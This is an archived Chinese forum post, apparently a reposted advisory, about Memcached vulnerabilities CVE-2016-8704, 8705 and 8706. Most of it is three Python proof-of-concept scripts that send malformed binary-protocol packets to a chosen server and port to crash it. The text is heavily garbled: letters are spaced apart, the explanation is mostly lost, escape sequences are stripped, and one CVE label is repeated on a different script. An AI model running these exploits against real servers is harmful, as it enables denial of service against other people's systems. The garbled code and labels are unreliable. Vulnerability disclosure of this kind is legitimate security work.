[20856] 2017-08-13_Memcached修复多处高危漏洞可导致代码执行、拒绝服务

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2017-08-13_Memcached修复多处高危漏洞可导致代码执行、拒绝服务 M e m c a c h e d   L e m o n S e c   2 0 1 7 - 0 8 - 1 3 M e m c a c h e d M e m c a c h e d L i v e J o u r n a l D a n g a   I n t e r a c t i v e B r a d   F i t z p a t r i c m i x i h a t e n a F a c e b o o k V o x L i v e J o u r n a l W e b M e m c a c h e d k e y - v a l u e A P I k e y - v a l u e 使 访 W e b 2 0 1 6 1 0 3 1         M e m c a c h e d M e m c a c h e d M e m c a c h e d M e m c a c h e d i n s e r t i n g a p p e n d i n g , p r e p e n d i n g S A S L M e m c a c h e d A S L R 使 M e m c a c h e d M e m c a c h e d M e m c a c h e d 访 使 使 M e m c a c h e d S S R F C V E - 2 0 1 6 - 8 7 0 4   -   M e m c a c h e d   A p p e n d / P r e p e n d   C V E - 2 0 1 6 - 8 7 0 5   -   M e m c a c h e d   U p d a t e   C V E - 2 0 1 6 - 8 7 0 6   -   M e m c a c h e d   S A S L P O C C V E - 2 0 1 6 - 8 7 0 4   -   M e m c a c h e d   A p p e n d / P r e p e n d   i m p o r t   s t r u c t i m p o r t   s o c k e t i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C =   " x 8 0 " O P C O D E _ P R E P E N D _ Q =   " x 1 a " k e y _ l e n   = s t r u c t . p a c k ( " ! H " , 0 x f a )
e x t r a _ l e n   = " x 0 0 " d a t a _ t y p e   = " x 0 0 " v b u c k e t   = " x 0 0 x 0 0 " b o d y _ l e n   = s t r u c t . p a c k ( " ! I " , 0 ) o p a q u e   =   s t r u c t . p a c k ( " ! I " , 0 ) C A S   = s t r u c t . p a c k ( " ! Q " , 0 ) b o d y   = " A " * 1 0 2 4 i f   l e n ( s y s . a r g v )   ! =   3 :                 p r i n t   " . / p o c _ c r a s h . p y < s e r v e r >   < p o r t > " p a c k e t   = M E M C A C H E D _ R E Q U E S T _ M A G I C   +   O P C O D E _ P R E P E N D _ Q   +   k e y _ l e n   +   e x t r a _ l e n p a c k e t   + = d a t a _ t y p e   +   v b u c k e t   +   b o d y _ l e n   +   o p a q u e   +   C A S p a c k e t   + = b o d y s e t _ p a c k e t   = " s e t   t e s t k e y   0   6 0   4 r n t e s t r n " g e t _ p a c k e t   = " g e t   t e s t k e y r n " s 1   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 1 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 1 . s e n d a l l ( s e t _ p a c k e t ) p r i n t   s 1 . r e c v ( 1 0 2 4 ) s 1 . c l o s e ( ) s 2   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 2 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 2 . s e n d a l l ( p a c k e t ) p r i n t   s 2 . r e c v ( 1 0 2 4 ) s 2 . c l o s e ( ) s 3   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 3 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 3 . s e n d a l l ( g e t _ p a c k e t ) s 3 . r e c v ( 1 0 2 4 ) s 3 . c l o s e ( ) s 3 . c l o s e ( ) C V E - 2 0 1 6 - 8 7 0 4   -   M e m c a c h e d   A p p e n d / P r e p e n d   i m p o r t   s t r u c t i m p o r t   s o c k e t i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C =   " x 8 0 " O P C O D E _ A D D   = " x 0 2 " k e y _ l e n   = s t r u c t . p a c k ( " ! H " , 0 x f a ) e x t r a _ l e n   = " x 0 8 " d a t a _ t y p e   = " x 0 0 " v b u c k e t   = " x 0 0 x 0 0 " b o d y _ l e n   = s t r u c t . p a c k ( " ! I " , 0 x f f f f f f d 0 ) o p a q u e   = s t r u c t . p a c k ( " ! I " , 0 ) C A S   = s t r u c t . p a c k ( " ! Q " , 0 )
e x t r a s _ f l a g s =   0 x d e a d b e e f e x t r a s _ e x p i r y =   s t r u c t . p a c k ( " ! I " , 0 x e 1 0 ) b o d y   = " A " * 1 0 2 4 p a c k e t   = M E M C A C H E D _ R E Q U E S T _ M A G I C   +   O P C O D E _ A D D   +   k e y _ l e n   +   e x t r a _ l e n p a c k e t   + = d a t a _ t y p e   +   v b u c k e t   +   b o d y _ l e n   +   o p a q u e   +   C A S p a c k e t   + = b o d y i f   l e n ( s y s . a r g v ) ! = 3 :                   p r i n t   " . / p o c _ a d d . p y   < s e r v e r > < p o r t > " s   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s . s e n d a l l ( p a c k e t ) p r i n t   s . r e c v ( 1 0 2 4 ) s . c l o s e ( ) C V E - 2 0 1 6 - 8 7 0 6   -   M e m c a c h e d   S A S L i m p o r t   s t r u c t i m p o r t   s o c k e t   i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C   =   " x 8 0 " O P C O D E _ S E T   =   " x 2 1 " k e y _ l e n   =   s t r u c t . p a c k ( " ! H " , 3 2 )   b o d y _ l e n   =   s t r u c t . p a c k ( " ! I " , 1 )   p a c k e t   =   M E M C A C H E D _ R E Q U E S T _ M A G I C   +   O P C O D E _ S E T   +   k e y _ l e n   +       b o d y _ l e n * 2   +   " A " * 1 0 0 0   i f   l e n ( s y s . a r g v )   ! =   3 :           p r i n t   " . / p o c _ s a s l . p y   < s e r v e r >   < i p > " s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )   s . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) )   s . s e n d a l l ( p a c k e t )   p r i n t   s . r e c v ( 1 0 2 4 )   s . c l o s e ( )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则